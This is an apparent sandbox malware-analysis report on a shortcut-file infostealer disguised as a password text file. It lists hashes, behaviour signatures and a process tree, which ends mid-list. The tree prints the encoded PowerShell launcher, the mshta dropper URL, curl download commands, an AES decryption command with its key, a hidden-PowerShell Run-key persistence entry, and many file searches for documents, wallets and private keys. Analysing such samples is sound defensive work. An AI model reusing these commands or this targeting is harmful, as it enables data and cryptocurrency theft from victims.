d6226ff1c96bff8cc840fb62db0a6bead9d029b7915436db87a1882332054c82

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/06/2026, 13:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
암호.txt.lnk
Size 2KB
Sample260604-q8vxmsfx71
SHA256 d6226ff1c96bff8cc840fb62db0a6bead9d029b7915436db87a1882332054c82
MD5 1e85cfa72fd753f1cd9d8db6845c946f
SHA1 92f59aa6a46937456c0272bdbc45ec03e5331a92
SHA512 ee233f553ed3e4b3c7676d48168ffc8fe9f5dfef807b5a81d9839b640ab735041e87baf83413c59ea50a491423e290b07b29fc778d363400f8f6bdfaa10ecc04
TLSH
T1295141011FE602BEF373C77A27FABB099520F574DB0759AC41C06244AEA0A04F875B2E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution persistence ransomware spyware stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://link24.kr/74Yo9PR

Signatures

Badlisted process makes network request 13 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5024	mshta.exe
20	5024	mshta.exe
28	5024	mshta.exe
39	5024	mshta.exe
41	5024	mshta.exe
43	5024	mshta.exe
45	5024	mshta.exe
47	5024	mshta.exe
49	5024	mshta.exe
65	1504	powershell.exe
66	1504	powershell.exe
68	1504	powershell.exe
80	1504	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe
4164	powershell.exe
1504	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityCheck = "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File C:\\Users\\Admin\\AppData\\Local\\pipe\\1.ps1 -FileName C:\\Users\\Admin\\AppData\\Local\\pipe\\1.log"	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
65	drive.google.com
50	drive.google.com
51	drive.google.com
52	drive.google.com

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
396	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings	cmd.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3440	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1584	powershell.exe
1584	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
4164	powershell.exe
4164	powershell.exe
4164	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeIncreaseQuotaPrivilege	1504	powershell.exe
Token: SeSecurityPrivilege	1504	powershell.exe
Token: SeTakeOwnershipPrivilege	1504	powershell.exe
Token: SeLoadDriverPrivilege	1504	powershell.exe
Token: SeSystemProfilePrivilege	1504	powershell.exe
Token: SeSystemtimePrivilege	1504	powershell.exe
Token: SeProfSingleProcessPrivilege	1504	powershell.exe
Token: SeIncBasePriorityPrivilege	1504	powershell.exe
Token: SeCreatePagefilePrivilege	1504	powershell.exe
Token: SeBackupPrivilege	1504	powershell.exe
Token: SeRestorePrivilege	1504	powershell.exe
Token: SeShutdownPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeSystemEnvironmentPrivilege	1504	powershell.exe
Token: SeRemoteShutdownPrivilege	1504	powershell.exe
Token: SeUndockPrivilege	1504	powershell.exe
Token: SeManageVolumePrivilege	1504	powershell.exe
Token: 33	1504	powershell.exe
Token: 34	1504	powershell.exe
Token: 35	1504	powershell.exe
Token: 36	1504	powershell.exe
Token: SeIncreaseQuotaPrivilege	1504	powershell.exe
Token: SeSecurityPrivilege	1504	powershell.exe
Token: SeTakeOwnershipPrivilege	1504	powershell.exe
Token: SeLoadDriverPrivilege	1504	powershell.exe
Token: SeSystemProfilePrivilege	1504	powershell.exe
Token: SeSystemtimePrivilege	1504	powershell.exe
Token: SeProfSingleProcessPrivilege	1504	powershell.exe
Token: SeIncBasePriorityPrivilege	1504	powershell.exe
Token: SeCreatePagefilePrivilege	1504	powershell.exe
Token: SeBackupPrivilege	1504	powershell.exe
Token: SeRestorePrivilege	1504	powershell.exe
Token: SeShutdownPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeSystemEnvironmentPrivilege	1504	powershell.exe
Token: SeRemoteShutdownPrivilege	1504	powershell.exe
Token: SeUndockPrivilege	1504	powershell.exe
Token: SeManageVolumePrivilege	1504	powershell.exe
Token: 33	1504	powershell.exe
Token: 34	1504	powershell.exe
Token: 35	1504	powershell.exe
Token: 36	1504	powershell.exe
Token: SeIncreaseQuotaPrivilege	1504	powershell.exe
Token: SeSecurityPrivilege	1504	powershell.exe
Token: SeTakeOwnershipPrivilege	1504	powershell.exe
Token: SeLoadDriverPrivilege	1504	powershell.exe
Token: SeSystemProfilePrivilege	1504	powershell.exe
Token: SeSystemtimePrivilege	1504	powershell.exe
Token: SeProfSingleProcessPrivilege	1504	powershell.exe
Token: SeIncBasePriorityPrivilege	1504	powershell.exe
Token: SeCreatePagefilePrivilege	1504	powershell.exe
Token: SeBackupPrivilege	1504	powershell.exe
Token: SeRestorePrivilege	1504	powershell.exe
Token: SeShutdownPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeSystemEnvironmentPrivilege	1504	powershell.exe
Token: SeRemoteShutdownPrivilege	1504	powershell.exe
Token: SeUndockPrivilege	1504	powershell.exe
Token: SeManageVolumePrivilege	1504	powershell.exe
Token: 33	1504	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4404 wrote to memory of 1584	4404	cmd.exe	87
PID 1584 wrote to memory of 5024	1584	powershell.exe	88
PID 5024 wrote to memory of 4592	5024	mshta.exe	100
PID 5024 wrote to memory of 2936	5024	mshta.exe	102
PID 2936 wrote to memory of 396	2936	cmd.exe	104
PID 4592 wrote to memory of 2704	4592	cmd.exe	105
PID 5024 wrote to memory of 4684	5024	mshta.exe	106
PID 4684 wrote to memory of 3164	4684	cmd.exe	108
PID 4592 wrote to memory of 3440	4592	cmd.exe	111
PID 4684 wrote to memory of 4440	4684	cmd.exe	112
PID 4684 wrote to memory of 4696	4684	cmd.exe	113
PID 5024 wrote to memory of 208	5024	mshta.exe	114
PID 208 wrote to memory of 1504	208	cmd.exe	116
PID 1504 wrote to memory of 3652	1504	powershell.exe	117
PID 3652 wrote to memory of 3760	3652	csc.exe	118
PID 1504 wrote to memory of 1252	1504	powershell.exe	121
PID 1504 wrote to memory of 4112	1504	powershell.exe	123
PID 1504 wrote to memory of 4724	1504	powershell.exe	124
PID 1504 wrote to memory of 4460	1504	powershell.exe	125
PID 1504 wrote to memory of 1284	1504	powershell.exe	126
PID 1504 wrote to memory of 2564	1504	powershell.exe	127
PID 1504 wrote to memory of 4392	1504	powershell.exe	128
PID 1504 wrote to memory of 3820	1504	powershell.exe	129
PID 1504 wrote to memory of 3736	1504	powershell.exe	130
PID 1504 wrote to memory of 3568	1504	powershell.exe	131
PID 1504 wrote to memory of 3052	1504	powershell.exe	132
PID 1504 wrote to memory of 2084	1504	powershell.exe	133
PID 1504 wrote to memory of 4164	1504	powershell.exe	134
PID 1504 wrote to memory of 3172	1504	powershell.exe	135
PID 1504 wrote to memory of 540	1504	powershell.exe	136
PID 1504 wrote to memory of 3932	1504	powershell.exe	137
PID 1504 wrote to memory of 456	1504	powershell.exe	138
PID 1504 wrote to memory of 3252	1504	powershell.exe	170
PID 1504 wrote to memory of 4220	1504	powershell.exe	140
PID 1504 wrote to memory of 2168	1504	powershell.exe	199
PID 1504 wrote to memory of 3524	1504	powershell.exe	142
PID 1504 wrote to memory of 4184	1504	powershell.exe	143
PID 1504 wrote to memory of 3996	1504	powershell.exe	144
PID 1504 wrote to memory of 1416	1504	powershell.exe	207
PID 1504 wrote to memory of 1856	1504	powershell.exe	147
PID 1504 wrote to memory of 3916	1504	powershell.exe	148
PID 1504 wrote to memory of 1020	1504	powershell.exe	150
PID 1504 wrote to memory of 2200	1504	powershell.exe	151
PID 1504 wrote to memory of 768	1504	powershell.exe	152
PID 1504 wrote to memory of 3988	1504	powershell.exe	153
PID 1504 wrote to memory of 4448	1504	powershell.exe	154
PID 1504 wrote to memory of 4484	1504	powershell.exe	186
PID 1504 wrote to memory of 2448	1504	powershell.exe	156
PID 1504 wrote to memory of 4696	1504	powershell.exe	157
PID 1504 wrote to memory of 3264	1504	powershell.exe	210
PID 1504 wrote to memory of 3700	1504	powershell.exe	159
PID 1504 wrote to memory of 4560	1504	powershell.exe	160
PID 1504 wrote to memory of 2564	1504	powershell.exe	161
PID 1504 wrote to memory of 2700	1504	powershell.exe	191
PID 1504 wrote to memory of 968	1504	powershell.exe	163
PID 1504 wrote to memory of 2068	1504	powershell.exe	164
PID 1504 wrote to memory of 1380	1504	powershell.exe	165
PID 1504 wrote to memory of 4824	1504	powershell.exe	166
PID 1504 wrote to memory of 1512	1504	powershell.exe	212
PID 1504 wrote to memory of 1344	1504	powershell.exe	168
PID 1504 wrote to memory of 2972	1504	powershell.exe	169
PID 1504 wrote to memory of 3252	1504	powershell.exe	170
PID 1504 wrote to memory of 4324	1504	powershell.exe	197
PID 1504 wrote to memory of 4908	1504	powershell.exe	172

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e IAAgACAAIAAgACAAIAAgACAAIAAgAG0AcwBoAHQAYQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawAyADQALgBrAHIALwA3ADQAWQBvADkAUABSACIA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/74Yo9PR
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5024
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ" && password.txt
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4592
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ"
        5⤵
        
        PID:2704
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\password.txt
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:3440
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2936
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:396
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew" && powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))" && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zip
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4684
    - - C:\Windows\system32\curl.exe
        
        curl -L -o pipe.log "https://drive.google.com/uc?export=download&id=1jqpw8UHpsY5ps3nKOfkyo2ql4hC23Mew"
        5⤵
        
        PID:3164
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "[System.IO.File]::WriteAllBytes('pipe.zip', (New-Object System.Security.Cryptography.AesManaged).CreateDecryptor([System.Text.Encoding]::UTF8.GetBytes('ftrgmjekglgawkxjynqrwxjvjsydxgjc'), [System.Text.Encoding]::UTF8.GetBytes('rhmrpyihmziwkvln')).TransformFinalBlock([System.IO.File]::ReadAllBytes('pipe.log'), 0, [System.IO.File]::ReadAllBytes('pipe.log').Length))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4440
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Expand-Archive -Path pipe.zip
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4696
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
      4⤵
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1504
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pfzhmkam\pfzhmkam.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3652
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3DCF.tmp" "c:\Users\Admin\AppData\Local\Temp\pfzhmkam\CSCE72D0E47BD0D455A9898F99D9F9F79D.TMP"
        7⤵
        
        PID:3760
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.txt" /s 2>nul"
        6⤵
        
        PID:1252
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.doc" /s 2>nul"
        6⤵
        
        PID:4112
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.csv" /s 2>nul"
        6⤵
        
        PID:4724
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.docx" /s 2>nul"
        6⤵
        
        PID:4460
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.xls" /s 2>nul"
        6⤵
        
        PID:1284
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.xlsx" /s 2>nul"
        6⤵
        
        PID:2564
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.pdf" /s 2>nul"
        6⤵
        
        PID:4392
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.hwp" /s 2>nul"
        6⤵
        
        PID:3820
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.hwpx" /s 2>nul"
        6⤵
        
        PID:3736
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.jpg" /s 2>nul"
        6⤵
        
        PID:3568
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.jpeg" /s 2>nul"
        6⤵
        
        PID:3052
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.png" /s 2>nul"
        6⤵
        
        PID:2084
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.rar" /s 2>nul"
        6⤵
        
        PID:4164
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.zip" /s 2>nul"
        6⤵
        
        PID:3172
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.alz" /s 2>nul"
        6⤵
        
        PID:540
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.eml" /s 2>nul"
        6⤵
        
        PID:3932
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.ldb" /s 2>nul"
        6⤵
        
        PID:456
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.log" /s 2>nul"
        6⤵
        
        PID:3252
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*.dat" /s 2>nul"
        6⤵
        
        PID:4220
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*wallet*" /s 2>nul"
        6⤵
        
        PID:2168
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*UTC--*" /s 2>nul"
        6⤵
        
        PID:3524
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*blockchain*" /s 2>nul"
        6⤵
        
        PID:4184
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*keystore*" /s 2>nul"
        6⤵
        
        PID:3996
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*privatekey*" /s 2>nul"
        6⤵
        
        PID:1416
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*metamask*" /s 2>nul"
        6⤵
        
        PID:1856
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*phrase*" /s 2>nul"
        6⤵
        
        PID:3916
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*ledger*" /s 2>nul"
        6⤵
        
        PID:1020
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*myether*" /s 2>nul"
        6⤵
        
        PID:2200
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "C:\Users\*dcent*" /s 2>nul"
        6⤵
        
        PID:768
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.txt" /s 2>nul"
        6⤵
        
        PID:3988
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.doc" /s 2>nul"
        6⤵
        
        PID:4448
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.csv" /s 2>nul"
        6⤵
        
        PID:4484
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.docx" /s 2>nul"
        6⤵
        
        PID:2448
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.xls" /s 2>nul"
        6⤵
        
        PID:4696
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.xlsx" /s 2>nul"
        6⤵
        
        PID:3264
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.pdf" /s 2>nul"
        6⤵
        
        PID:3700
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.hwp" /s 2>nul"
        6⤵
        
        PID:4560
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.hwpx" /s 2>nul"
        6⤵
        
        PID:2564
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.jpg" /s 2>nul"
        6⤵
        
        PID:2700
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.jpeg" /s 2>nul"
        6⤵
        
        PID:968
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.png" /s 2>nul"
        6⤵
        
        PID:2068
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.rar" /s 2>nul"
        6⤵
        
        PID:1380
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.zip" /s 2>nul"
        6⤵
        
        PID:4824
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.alz" /s 2>nul"
        6⤵
        
        PID:1512
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.eml" /s 2>nul"
        6⤵
        
        PID:1344
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.ldb" /s 2>nul"
        6⤵
        
        PID:2972
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.log" /s 2>nul"
        6⤵
        
        PID:3252
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*.dat" /s 2>nul"
        6⤵
        
        PID:4324
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*wallet*" /s 2>nul"
        6⤵
        
        PID:4908
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*UTC--*" /s 2>nul"
        6⤵
        
        PID:2220
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*blockchain*" /s 2>nul"
        6⤵
        
        PID:1088
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*keystore*" /s 2>nul"
        6⤵
        
        PID:2428
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*privatekey*" /s 2>nul"
        6⤵
        
        PID:3768
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*metamask*" /s 2>nul"
        6⤵
        
        PID:396
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*phrase*" /s 2>nul"
        6⤵
        
        PID:4844
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*ledger*" /s 2>nul"
        6⤵
        
        PID:440
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*myether*" /s 2>nul"
        6⤵
        
        PID:4600
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "D:\*dcent*" /s 2>nul"
        6⤵
        
        PID:4952
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.txt" /s 2>nul"
        6⤵
        
        PID:3068
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.doc" /s 2>nul"
        6⤵
        
        PID:4420
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.csv" /s 2>nul"
        6⤵
        
        PID:4948
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.docx" /s 2>nul"
        6⤵
        
        PID:2628
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.xls" /s 2>nul"
        6⤵
        
        PID:4484
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.xlsx" /s 2>nul"
        6⤵
        
        PID:2956
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.pdf" /s 2>nul"
        6⤵
        
        PID:1940
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.hwp" /s 2>nul"
        6⤵
        
        PID:548
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.hwpx" /s 2>nul"
        6⤵
        
        PID:4468
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.jpg" /s 2>nul"
        6⤵
        
        PID:2700
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.jpeg" /s 2>nul"
        6⤵
        
        PID:2456
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.png" /s 2>nul"
        6⤵
        
        PID:3704
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.rar" /s 2>nul"
        6⤵
        
        PID:408
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.zip" /s 2>nul"
        6⤵
        
        PID:4852
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.alz" /s 2>nul"
        6⤵
        
        PID:1064
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.eml" /s 2>nul"
        6⤵
        
        PID:4324
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.ldb" /s 2>nul"
        6⤵
        
        PID:4212
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.log" /s 2>nul"
        6⤵
        
        PID:2168
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*.dat" /s 2>nul"
        6⤵
        
        PID:2576
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*wallet*" /s 2>nul"
        6⤵
        
        PID:3768
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*UTC--*" /s 2>nul"
        6⤵
        
        PID:464
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*blockchain*" /s 2>nul"
        6⤵
        
        PID:5008
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*keystore*" /s 2>nul"
        6⤵
        
        PID:2624
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*privatekey*" /s 2>nul"
        6⤵
        
        PID:4952
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*metamask*" /s 2>nul"
        6⤵
        
        PID:4864
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*phrase*" /s 2>nul"
        6⤵
        
        PID:1416
      - C:\Windows\system32\cmd.exe
        
